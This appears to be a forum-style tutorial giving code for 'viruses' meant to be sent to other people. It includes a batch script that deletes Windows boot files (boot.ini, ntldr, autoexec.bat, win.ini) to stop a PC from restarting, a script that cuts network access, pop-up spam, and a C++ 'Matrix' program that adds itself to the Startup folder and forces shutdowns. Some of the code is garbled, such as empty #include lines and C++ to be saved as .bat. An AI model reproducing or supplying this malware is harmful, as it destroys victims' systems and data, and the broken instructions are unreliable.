Here is a way on how to create a simple batch file virus

Write it in a notepad
Cycle a message in your friend's computer(code is given below)
Type :

Code:

@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN

How to crash a PC Forever !:::

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Open up notepad and copy and paste that. Save it as a .bat file.
This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart.
REMEMBER - DO NOT CLICK THIS FILE. (for the idiots)
**Also remember this might not work with vista.**

How to stop someone's internet access::::

@Echo off
Ipconfig /release

Save that as a .bat and send it to someone. They're IP address will be lost, and therefore they won't be able to fix it

However, this is VERY easy to fix. Simply type in IPconfig /renew

MAKING MOST DANGEROUS VIRUS CALLED MATRIX

Warning - Do not run it on your computer

I'm gonna teach you how to make a virus named Matrix...

1-Open notepad
2-Put in this code

#include
#include
#include
#include
#include
#include
#include
using namespace std;

int main()
{ keybd_event(VK_MENU,0x38,0,0);
keybd_event(VK_RETURN,0x1c,0,0);
keybd_event(VK_RETURN,0x1c,KEYEVENTF_KEYUP,0);
keybd_event(VK_MENU,0x38,KEYEVENTF_KEYUP,0);
HANDLE outToScreen;
outToScreen = GetStdHandle(STD_OUTPUT_HANDLE);

{
char buffer[255];
char inputFile[]="C:\Documents and Settings\All Users\Start Menu\Programs\Startup\rawr.bat";
ifstream input(inputFile);
if (!input)
{
{
ofstream fp("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\rawr.bat", ios::app);
fp << "@ECHO OFF n";
fp << "START C:\rawr.exe n";
fp << "EXIT";
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
}
}
}

{
char buffer[255];
char inputFile[]="C:\rawr.exe";
ifstream input(inputFile);
if (!input)
{
{
{
ofstream fp("CLICK.bat", ios::app);
fp << "@ECHO OFF n";
fp << "COPY matrix.exe C:\rawr.exe n";
fp << "START C:\rawr.exe n";
fp << "EXIT";
}
system("START CLICK.bat");
main();
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
system("call shutdown.exe -S");
goto START;
}
}
}

START:{
for(int i = 0; i < 1; i++)
{
int num = (rand() % 10);
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
cout << setw(4) << num;
cout << setw(4) << "0%";
cout << setw(4) << "P";
cout << setw(4) << " ";
cout << setw(4) << ")";
cout << setw(4) << "#";
cout << setw(4) << "X";
cout << setw(4) << "@";
cout << setw(4) << "1&";
cout << setw(4) << "*";
cout << setw(4) << "||";
cout << setw(4) << " ";
Sleep(60);
}
}
for ( int j = 0; j < 5; j++)
{
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN);
int number = (rand() % 24);
cout << setw(4) << number;
}
goto START;





3-save it as matrix.bat
4-finish